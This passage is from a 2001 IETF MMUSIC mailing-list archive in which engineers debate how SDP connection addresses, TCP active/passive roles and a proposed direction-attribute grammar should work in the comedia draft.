the data it receives to be 110.111.112.113:3456, and visa versa. (I
would have to hunt to find the particular mail messages that discussed
this.) The essence of the discussion was that making this assumption
would place unreasonable architectural limitations on sip user agents. 

I made the conceptual leap (perhaps unjustified) that the same reasoning
applies to the passive and active ends of a connection oriented media
stream. Namely that the socket my UA listens on (when acting passively)
may be at a different address than the socket my UA connects from (when
acting actively).

This would mostly be relevant when an endpoint that specifies
direction:both acts actively by connecting. In this case the address it
provided in c= must be the address of the listening socket.

> >Another point is that the c= line may not uniquely identify a connecting endpoint.
> >What if the direction:active endpoint is redundant, and provides a c=
> >with a DNS name that maps to multiple addresses? Does the
> >direction:passive endpoint accept a connect from any of the addresses?
> 
> A DNS name is not valid in the "c=" line---it must be a specific
> address.  Check the SDP spec for details:
> 
> http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-new-02.txt

Hmm. That is a change from rfc2327. I admit to not having been following
the proceedings here in mmusic, but apparently I am not the only one -
draft-ietf-sip-call-flows-04 is filled with c= lines using FQDNs.

What was the reason for the change?

	Paul Kyzivat
	Cisco Systems

From confctrl-owner  Mon Jun 11 10:16:04 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA16772
	for confctrl-outgoing; Mon, 11 Jun 2001 10:16:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA16767
	for <confctrl@zephyr.isi.edu>; Mon, 11 Jun 2001 10:16:04 -0700 (PDT)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5BHG5Z02823
	for <confctrl@ISI.EDU>; Mon, 11 Jun 2001 10:16:05 -0700 (PDT)
Received: from cannon.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f5BHEaX20231;
	Mon, 11 Jun 2001 13:14:36 -0400 (EDT)
Received: from cisco.com (dhcp-161-44-241-145.cisco.com [161.44.241.145])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAS00812 (AUTH pkyzivat);
	Mon, 11 Jun 2001 13:15:58 -0400 (EDT)
Message-ID: <3B24FBEF.9B6B4C21@cisco.com>
Date: Mon, 11 Jun 2001 13:12:15 -0400
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
CC: "'David Yon'" <yon@dialout.net>, MMUSIC <confctrl@ISI.EDU>
Subject: Re: [Sip-implementors] problem indraft-ietf-mmusic-sdp-comedia-00?
References: <E79883AEA37FD411A58C00508BAC5F4BD728B1@exchange1.nuera.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Robert - comment below.

	Paul

> "Fairlie-Cuninghame, Robert" wrote:
> 
> Hi Paul,
> 
> I believe the confusion is due to the fact that comedia makes the
> assumption that when an application establishes a logical
> bidirectional "session" using two session descriptions (one for each
> side) then every TCP connection establishes a bidirectional
> communications channel between the two applications. It should be
> remembered that only one side of the TCP connection may be connected
> to a port specified in just one of the session descriptions. [It also
> assumes that both applications have knowledge of both session
> descriptions.]

I think I understand what is proposed, and I believe what you say is
consistent with that understanding. But let me attempt to state my
understanding, just in case there are differences.

The bidirectional session established using two session descriptions may
result in one or two TCP connections. Each of these connections has a
communication path in each direction, so we may have two available paths
in each direction. When there are two TCP connections, part of the
session establishment is to decide which of the two paths to use in each
direction. It may be that we choose one path from each of the two TCP
connections, or we may choose both paths from the same TCP connection.

> 
> This is in contrast to the UDP based solution where there is no
> concept of bidirectional connections (except as two unidirectional
> channel) and that each session description only describes how to
> receive media.
> 
> I tried to clarify/specify this concept more completely in my SCTP
> profile (which must also deal with these connection-based issues).
> [Especially in the rules for sending/receiving media and
> opening/closing SCTP associations.]

I haven't fully grokked your proposal yet - partly because I have no
experience with SCTP and have no compelling reason to try it yet. But I
think perhaps the following sentence from it may be relevant:

"It is up to the application to decide whether or not to accept an
association where the negotiated remote transport address set does not
match the address set in the remote session description."

This leaves open the issue of whether I should be restricted to sending
from the addresses at which I am willing to receive. But the situation
is less restrictive here because SCTP is set up to handle multiple
addresses on each end. 

It may not be true of the SCTP case, but at least in the TCP case the
looseness of this complicates implementation of either the passive side
or the active side, or both. Since most people implementing this will be
implementing both the active and passive features, this complicates life
for everybody.

Let me restate the problems:

A) if it is valid for an active endpoint to connect from an address
different than was in the c= of the SDP it offered, then a passive
endpoint will need to dedicate a listening port for the duration of an
Invite, or else risk not knowing which media stream a particular
incoming connection belongs to.

B) conversely, if it is valid for a passive endpoint to require the
address of an incoming connection to match the c= of an expected media
connection, then the implementation of the active endpoint will be
limited - it must ensure it makes the connection from the address it
advertised.

If I have to live with one or the other of these restrictions, then I
prefer B.

> 
> http://www.ietf.org/internet-drafts/draft-fairlie-mmusic-sdp-sctp-00.txt
> 
> David, I do agree with Paul that perhaps a little more clarification
> would be helpful to explain the slight shift in paradigm from UDP.
> 
> This change is not arbitrary and is in fact quite powerful for solving
> NAT/NAPT traversal (where just one endpoint is behind the NAPT).
> 
> See also:
> 
> http://www.cs.columbia.edu/~hgs/sip/drafts/draft-rosenberg-sip-entfw-01.txt
> 
> Cheers,
> 
> Robert.

From confctrl-owner  Mon Jun 11 10:47:12 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA19395
	for confctrl-outgoing; Mon, 11 Jun 2001 10:47:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA19390
	for <confctrl@zephyr.isi.edu>; Mon, 11 Jun 2001 10:47:11 -0700 (PDT)
Received: from webhost.tactical-sw.com (host-216-153-163-173.choiceone.net [216.153.163.173])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5BHlCZ15507
	for <confctrl@ISI.EDU>; Mon, 11 Jun 2001 10:47:12 -0700 (PDT)
Received: from YON-LATTITUDE.dialout.net (yon-lattitude.tactical-sw.com [10.0.0.57] (may be forged))
	by webhost.tactical-sw.com (8.9.2/8.9.1) with ESMTP id NAA18131;
	Mon, 11 Jun 2001 13:47:41 -0400 (EDT)
Message-Id: <5.0.2.1.2.20010611122940.039c3340@mail.dialout.net>
X-Sender: yon@mail.dialout.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Mon, 11 Jun 2001 13:45:49 -0400
To: Paul Kyzivat <pkyzivat@cisco.com>
From: David Yon <yon@dialout.net>
Subject: Re: [Sip-implementors]
  problemindraft-ietf-mmusic-sdp-comedia-00?
Cc: MMUSIC <confctrl@ISI.EDU>
In-Reply-To: <3B24EFEA.AB2C746D@cisco.com>
References: <15130.21550.973473.551003@jodie.lucid>
 <20010604093456.A7248@div8.net>
 <15131.39170.605054.116421@jodie.lucid>
 <5.0.2.1.2.20010608174046.00a61a40@mail.dialout.net>
 <5.0.2.1.2.20010611084015.00a60438@mail.dialout.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Ok, now that I understand the issue the points are well taken.  I have no 
problem with the notion of extending the new direction attribute to include 
an IP address so long as it is optional.  The shorthand BNF would be as 
follows:

    connection-setup =    "direction" ":" direction-spec

    direction-spec =      "passive" | qualified-direction

    qualified-direction = direction-ident |
                           direction-ident port |
                           direction-ident address |
                           direction-ident port address

    direction-ident =     "both" | "active"

So if the address is missing, then the assumption is that the address that 
appears in the c= line will be used to initiate an active connection, 
otherwise it is the address listed in the direction attribute.

If anyone has any problems with this feel free to speak up, otherwise I'll 
add this to the draft for inclusion in the (hopefully soon to be called) 
Last Call.

Re: FQDN vs IPv4 addresses, I have no insight into why it is different from 
rfc2327 to the draft I pointed you to.


At 12:20 PM 6/11/2001, Paul Kyzivat wrote:


>David Yon wrote:
> >
> > >One point is that the address my listener is at may differ from the
> > >address that I might connect from.
> >
> > Why would that be the case?  There is no parallel in the traditional usage
> > of SDP where RTCP/UDP streams are being described.  The IP Address you
> > advertise in SDP is the address at which you intend to communicate.
>
>I disagree. There has been a fair amount of discussion on this subject,
>on the sip-implementors mailing list I believe. Consider the case:
>
>    User A                  User B
>      |                        |
>      |       INVITE F1        |
>      |----------------------->|
>      |       200 OK F2        |
>      |<-----------------------|
>      |         ACK F3         |
>      |----------------------->|
>
>with (simplified) message detail as follows:
>
>    F1 INVITE User A -> User B
>
>    INVITE sip:UserB@there.com SIP/2.0
>    From: BigGuy <sip:UserA@here.com>
>    To: LittleGuy <sip:UserB@there.com>
>
>    v=0
>    o=UserA 2890844526 2890844526 IN IP4 here.com
>    s=Session SDP
>    c=IN IP4 100.101.102.103
>    t=0 0
>    m=audio 49172 RTP/AVP 0
>
>    F2 200 OK User B -> User A
>
>    SIP/2.0 200 OK
>    From: BigGuy <sip:UserA@here.com>
>    To: LittleGuy <sip:UserB@there.com>;tag=8321234356
>
>    v=0
>    o=UserB 2890844527 2890844527 IN IP4 there.com
>    s=Session SDP
>    c=IN IP4 110.111.112.113
>    t=0 0
>    m=audio 3456 RTP/AVP 0
>
>The address from the c= in F1 plus the port in the m= says that User A
>expects data to be sent to 100.101.102.103:49172, while F2 says that
>User B expects data to be sent to 110.111.112.113:3456. But I am quite
>sure I have read that User A should not expect or require the sender of
>the data it receives to be 110.111.112.113:3456, and visa versa. (I
>would have to hunt to find the particular mail messages that discussed
>this.) The essence of the discussion was that making this assumption
>would place unreasonable architectural limitations on sip user agents.
>
>I made the conceptual leap (perhaps unjustified) that the same reasoning
>applies to the passive and active ends of a connection oriented media
>stream. Namely that the socket my UA listens on (when acting passively)
>may be at a different address than the socket my UA connects from (when
>acting actively).
>
>This would mostly be relevant when an endpoint that specifies
>direction:both acts actively by connecting. In this case the address it
>provided in c= must be the address of the listening socket.
>
> > >Another point is that the c= line may not uniquely identify a 
> connecting endpoint.
> > >What if the direction:active endpoint is redundant, and provides a c=
> > >with a DNS name that maps to multiple addresses? Does the
> > >direction:passive endpoint accept a connect from any of the addresses?
> >
> > A DNS name is not valid in the "c=" line---it must be a specific
> > address.  Check the SDP spec for details:
> >
> > http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-new-02.txt
>
>Hmm. That is a change from rfc2327. I admit to not having been following
>the proceedings here in mmusic, but apparently I am not the only one -
>draft-ietf-sip-call-flows-04 is filled with c= lines using FQDNs.
>
>What was the reason for the change?
>
>         Paul Kyzivat
>         Cisco Systems


David Yon
Chief Technical Officer
Dialout.Net, Inc.
402 Amherst St.
Nashua, NH 03063
Voice   +1-603-577-8708 x206
Fax     +1-603-578-9564
yon@dialout.net


From confctrl-owner  Mon Jun 11 10:56:59 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA20126
	for confctrl-outgoing; Mon, 11 Jun 2001 10:56:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA20120
	for <confctrl@zephyr.isi.edu>; Mon, 11 Jun 2001 10:56:58 -0700 (PDT)
Received: from exchange1.nuera.com (igate.nuera.com [204.216.240.98])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5BHv0Z19393
	for <confctrl@ISI.EDU>; Mon, 11 Jun 2001 10:57:00 -0700 (PDT)
Received: by exchange1.nuera.com with Internet Mail Service (5.5.2650.21)
	id <LA2LKA8G>; Mon, 11 Jun 2001 10:56:44 -0700
Message-ID: <E79883AEA37FD411A58C00508BAC5F4BD728BA@exchange1.nuera.com>
From: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
To: "'Paul Kyzivat'" <pkyzivat@cisco.com>
Cc: "'David Yon'" <yon@dialout.net>, MMUSIC <confctrl@ISI.EDU>
Subject: RE: [Sip-implementors] problem indraft-ietf-mmusic-sdp-comedia-00
	?
Date: Mon, 11 Jun 2001 10:56:43 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C0F29F.DF9FD650"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0F29F.DF9FD650
Content-Type: text/plain;
	charset="iso-8859-1"

Hi Paul,

I think that the section you quote is unrelated to this argument. It deals
with differences between the addresses specified in the "remote" SDP and the
addresses specified in SCTP's four-way handshake. TCP does not negotiate
transport addresses and so this is not a problem in this scenario. 

Neither document places restrictions on the source address of where a
connection may be opened from (in any of the connection modes). However it
is not the source address of the connection that is the contentious issue
here. It is the fact that any endpoint of a connection taking part in the
session must be able to send _and_ receive media, in other words, you cannot
open a connection just for sending _or_ receiving media.

You option (B) is not an feasible restriction in my mind. It may not even be
possible for an application to predetermine the source address of a TCP
connection (on a multi-homed host). There are other reasons this is not a
good idea. NAT/NAPT and timing problems are just two of them.

Yes this does indeed have implications if the application's really wants to
have two unassociated send and receive processes. One solution to this
problem could be to use two separate explicitly unidirectional
(a=sendonly/a=recvonly) connections correlated using either Gonzalo
Camarillo's SDP "fid" media flow identifiers or an application-layer media
stream correlation mechanism (such as SIP's offer-answer model [bis-03]).
The benefit's for a connection-oriented and/or reliable transport mechanism
to be bidirectional at the transport layer are significant. For example,
bandwidth efficiency and ensuring bidirectional connectivity/reliability
especially w.r.t NAT/NAPT traversal, etc. 

Regards,

Robert.

-----Original Message-----
From:	Paul Kyzivat [mailto:pkyzivat@cisco.com]
Sent:	Monday, June 11, 2001 6:12 PM
To:	Fairlie-Cuninghame, Robert
Cc:	'David Yon'; MMUSIC
Subject:	Re: [Sip-implementors] problem
indraft-ietf-mmusic-sdp-comedia-00?

Robert - comment below.

	Paul

> "Fairlie-Cuninghame, Robert" wrote:
> 
> Hi Paul,
> 
> I believe the confusion is due to the fact that comedia makes the
> assumption that when an application establishes a logical
> bidirectional "session" using two session descriptions (one for each
> side) then every TCP connection establishes a bidirectional
> communications channel between the two applications. It should be
> remembered that only one side of the TCP connection may be connected
> to a port specified in just one of the session descriptions. [It also
> assumes that both applications have knowledge of both session
> descriptions.]

I think I understand what is proposed, and I believe what you say is
consistent with that understanding. But let me attempt to state my
understanding, just in case there are differences.

The bidirectional session established using two session descriptions may
result in one or two TCP connections. Each of these connections has a
communication path in each direction, so we may have two available paths
in each direction. When there are two TCP connections, part of the
session establishment is to decide which of the two paths to use in each
direction. It may be that we choose one path from each of the two TCP
connections, or we may choose both paths from the same TCP connection.

> 
> This is in contrast to the UDP based solution where there is no
> concept of bidirectional connections (except as two unidirectional
> channel) and that each session description only describes how to
> receive media.
> 
> I tried to clarify/specify this concept more completely in my SCTP
> profile (which must also deal with these connection-based issues).
> [Especially in the rules for sending/receiving media and
> opening/closing SCTP associations.]

I haven't fully grokked your proposal yet - partly because I have no
experience with SCTP and have no compelling reason to try it yet. But I
think perhaps the following sentence from it may be relevant:

"It is up to the application to decide whether or not to accept an
association where the negotiated remote transport address set does not
match the address set in the remote session description."

This leaves open the issue of whether I should be restricted to sending
from the addresses at which I am willing to receive. But the situation
is less restrictive here because SCTP is set up to handle multiple
addresses on each end. 

It may not be true of the SCTP case, but at least in the TCP case the
looseness of this complicates implementation of either the passive side
or the active side, or both. Since most people implementing this will be
implementing both the active and passive features, this complicates life
for everybody.

Let me restate the problems:

A) if it is valid for an active endpoint to connect from an address
different than was in the c= of the SDP it offered, then a passive
endpoint will need to dedicate a listening port for the duration of an
Invite, or else risk not knowing which media stream a particular
incoming connection belongs to.

B) conversely, if it is valid for a passive endpoint to require the
address of an incoming connection to match the c= of an expected media
connection, then the implementation of the active endpoint will be
limited - it must ensure it makes the connection from the address it
advertised.

If I have to live with one or the other of these restrictions, then I
prefer B.

> 
> http://www.ietf.org/internet-drafts/draft-fairlie-mmusic-sdp-sctp-00.txt
> 
> David, I do agree with Paul that perhaps a little more clarification
> would be helpful to explain the slight shift in paradigm from UDP.
> 
> This change is not arbitrary and is in fact quite powerful for solving
> NAT/NAPT traversal (where just one endpoint is behind the NAPT).
> 
> See also:
> 
>
http://www.cs.columbia.edu/~hgs/sip/drafts/draft-rosenberg-sip-entfw-01.txt
> 
> Cheers,
> 
> Robert.

------_=_NextPart_001_01C0F29F.DF9FD650
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>RE: [Sip-implementors] problem =
indraft-ietf-mmusic-sdp-comedia-00?</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">Hi Paul,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I think that the section you quote is =
unrelated to this argument. It deals with differences between the =
addresses specified in the "remote" SDP and the addresses specified in =
SCTP's four-way handshake. TCP does not negotiate transport addresses =
and so this is not a problem in this scenario. </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Neither document places restrictions =
on the source address of where a connection may be opened from (in any =
of the connection modes). However it is not the source address of the =
connection that is the contentious issue here. It is the fact that any =
endpoint of a connection taking part in the session must be able to =
send _</FONT><I><FONT SIZE=3D2 FACE=3D"Arial">and</FONT></I><FONT =
SIZE=3D2 FACE=3D"Arial">_ receive media, in other words, you cannot =
open a connection just for sending _</FONT><I><FONT SIZE=3D2 =
FACE=3D"Arial">or</FONT></I><FONT SIZE=3D2 FACE=3D"Arial">_ receiving =
media.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">You option (B) is not an feasible =
restriction in my mind. It may not even be possible for an application =
to predetermine the source address of a TCP connection (on a =
multi-homed host). There are other reasons this is not a good idea. =
NAT/NAPT and timing problems are just two of them.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Yes this does indeed have implications =
if the application's</FONT><I> <FONT SIZE=3D2 =
FACE=3D"Arial">really</FONT></I><FONT SIZE=3D2 FACE=3D"Arial"> wants to =
have two unassociated send and receive processes. One solution to this =
problem could be to use two separate explicitly unidirectional =
(a=3Dsendonly/a=3Drecvonly) connections correlated using either Gonzalo =
Camarillo's SDP "fid" media flow identifiers or an application-layer =
media stream correlation mechanism (such as SIP's offer-answer model =
[bis-03]). The benefit's for a connection-oriented and/or reliable =
transport mechanism to be bidirectional at the transport layer are =
significant. For example, bandwidth efficiency and ensuring =
bidirectional connectivity/reliability especially w.r.t NAT/NAPT =
traversal, etc. </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Regards,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Robert.</FONT>
</P>

<P><A NAME=3D"_MailData"><FONT SIZE=3D2 FACE=3D"Arial">-----Original =
Message-----</FONT></A>
<BR><B><FONT SIZE=3D2 FACE=3D"Arial">From:&nbsp;&nbsp; Paul Kyzivat [<A =
HREF=3D"mailto:pkyzivat@cisco.com">mailto:pkyzivat@cisco.com</A>]</FONT>=
</B>
<BR><B><FONT SIZE=3D2 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D2 FACE=3D"Arial">Monday, June 11, 2001 6:12 PM</FONT>
<BR><B><FONT SIZE=3D2 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D2 =
FACE=3D"Arial">Fairlie-Cuninghame, Robert</FONT>
<BR><B><FONT SIZE=3D2 =
FACE=3D"Arial">Cc:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D2 =
FACE=3D"Arial">'David Yon'; MMUSIC</FONT>
<BR><B><FONT SIZE=3D2 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D2 FACE=3D"Arial">Re: [Sip-implementors] problem =
indraft-ietf-mmusic-sdp-comedia-00?</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Robert - comment below.</FONT>
</P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 =
FACE=3D"Arial">Paul</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&gt; &quot;Fairlie-Cuninghame, =
Robert&quot; wrote:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Hi Paul,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; I believe the confusion is due =
to the fact that comedia makes the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; assumption that when an =
application establishes a logical</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; bidirectional =
&quot;session&quot; using two session descriptions (one for each</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; side) then every TCP connection =
establishes a bidirectional</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; communications channel between =
the two applications. It should be</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; remembered that only one side of =
the TCP connection may be connected</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; to a port specified in just one =
of the session descriptions. [It also</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; assumes that both applications =
have knowledge of both session</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; descriptions.]</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I think I understand what is proposed, =
and I believe what you say is</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">consistent with that understanding. =
But let me attempt to state my</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">understanding, just in case there are =
differences.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">The bidirectional session established =
using two session descriptions may</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">result in one or two TCP connections. =
Each of these connections has a</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">communication path in each direction, =
so we may have two available paths</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">in each direction. When there are two =
TCP connections, part of the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">session establishment is to decide =
which of the two paths to use in each</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">direction. It may be that we choose =
one path from each of the two TCP</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">connections, or we may choose both =
paths from the same TCP connection.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; This is in contrast to the UDP =
based solution where there is no</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; concept of bidirectional =
connections (except as two unidirectional</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; channel) and that each session =
description only describes how to</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; receive media.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; I tried to clarify/specify this =
concept more completely in my SCTP</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; profile (which must also deal =
with these connection-based issues).</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; [Especially in the rules for =
sending/receiving media and</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; opening/closing SCTP =
associations.]</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I haven't fully grokked your proposal =
yet - partly because I have no</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">experience with SCTP and have no =
compelling reason to try it yet. But I</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">think perhaps the following sentence =
from it may be relevant:</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&quot;It is up to the application to =
decide whether or not to accept an</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">association where the negotiated =
remote transport address set does not</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">match the address set in the remote =
session description.&quot;</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">This leaves open the issue of whether =
I should be restricted to sending</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">from the addresses at which I am =
willing to receive. But the situation</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">is less restrictive here because SCTP =
is set up to handle multiple</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">addresses on each end. </FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">It may not be true of the SCTP case, =
but at least in the TCP case the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">looseness of this complicates =
implementation of either the passive side</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">or the active side, or both. Since =
most people implementing this will be</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">implementing both the active and =
passive features, this complicates life</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">for everybody.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Let me restate the problems:</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">A) if it is valid for an active =
endpoint to connect from an address</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">different than was in the c=3D of the =
SDP it offered, then a passive</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">endpoint will need to dedicate a =
listening port for the duration of an</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Invite, or else risk not knowing =
which media stream a particular</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">incoming connection belongs =
to.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">B) conversely, if it is valid for a =
passive endpoint to require the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">address of an incoming connection to =
match the c=3D of an expected media</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">connection, then the implementation =
of the active endpoint will be</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">limited - it must ensure it makes the =
connection from the address it</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">advertised.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">If I have to live with one or the =
other of these restrictions, then I</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">prefer B.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; <A =
HREF=3D"http://www.ietf.org/internet-drafts/draft-fairlie-mmusic-sdp-sct=
p-00.txt" =
TARGET=3D"_blank">http://www.ietf.org/internet-drafts/draft-fairlie-mmus=
ic-sdp-sctp-00.txt</A></FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; David, I do agree with Paul that =
perhaps a little more clarification</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; would be helpful to explain the =
slight shift in paradigm from UDP.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; This change is not arbitrary and =
is in fact quite powerful for solving</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; NAT/NAPT traversal (where just =
one endpoint is behind the NAPT).</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; See also:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; <A =
HREF=3D"http://www.cs.columbia.edu/~hgs/sip/drafts/draft-rosenberg-sip-e=
ntfw-01.txt" =
TARGET=3D"_blank">http://www.cs.columbia.edu/~hgs/sip/drafts/draft-rosen=
berg-sip-entfw-01.txt</A></FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Cheers,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Robert.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0F29F.DF9FD650--

From confctrl-owner  Mon Jun 11 12:23:32 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA25954
	for confctrl-outgoing; Mon, 11 Jun 2001 12:23:32 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA25948
	for <confctrl@zephyr.isi.edu>; Mon, 11 Jun 2001 12:23:31 -0700 (PDT)
Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5BJNWZ00429
